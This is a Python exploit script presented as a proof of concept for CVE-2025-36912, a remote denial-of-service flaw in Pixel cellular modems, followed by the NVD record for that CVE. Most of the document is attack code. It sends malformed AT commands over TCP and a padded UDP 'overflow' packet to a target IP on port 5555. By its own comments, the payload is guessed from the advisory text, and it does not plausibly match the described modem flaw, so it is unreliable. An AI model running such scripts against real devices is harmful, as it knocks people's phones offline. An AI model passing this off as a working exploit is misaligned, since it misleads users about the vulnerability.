CVE-2025-36912

# CVE-2025-36912 PoC - Cellular Modem DoS # Target: Android Pixel devices with vulnerable modem firmware # Note: This is a conceptual PoC for educational purposes only import socket import struct import time def cve_2025_36912_poc(target_ip, target_port=5555): """ Proof of Concept for CVE-2025-36912 Cellular Modem Logic Error DoS This PoC demonstrates sending malformed packets to trigger the logic error in modem firmware. """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] CVE-2025-36912 Cellular Modem DoS PoC") # Malformed AT command sequence to trigger logic error # Based on the vulnerability description, this affects # modem firmware logic handling exploit_payload = b"AT+CREG=2\r\n" exploit_payload += b"AT+COPS=0,,," + b"\xff" * 50 + b"\r\n" exploit_payload += b"AT+CGREG=2\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[+] Sending exploit payload...") sock.send(exploit_payload) time.sleep(2) # Send trigger packet trigger_payload = b"AT\r\n" sock.send(trigger_payload) print(f"[+] Payload sent, checking modem response...") try: response = sock.recv(1024) if b"ERROR" in response or b"OK" not in response: print(f"[!] Modem may be in error state - DoS successful") else: print(f"[*] Modem response received") except socket.timeout: print(f"[!] No response - Modem service unavailable (DoS triggered)") sock.close() except Exception as e: print(f"[-] Error: {e}") # Alternative: UDP-based trigger for baseband exploitation def udp_exploit(target_ip): """ UDP-based exploit for cellular modem vulnerability """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Malformed registration request payload = b"\x01\x03\x00\x00\x00\x00" payload += b"\xff" * 100 # Overflow condition sock.sendto(payload, (target_ip, 5555)) sock.close() print(f"[+] UDP payload sent to {target_ip}") if __name__ == "__main__": print("CVE-2025-36912 PoC - Educational Use Only") # Replace with actual target target = "192.168.1.100" cve_2025_36912_poc(target)

{"cve": {"id": "CVE-2025-36912", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.027", "lastModified": "2025-12-12T17:28:57.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In cellular modem, there is a possible denial of service due to a logic error in the code. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}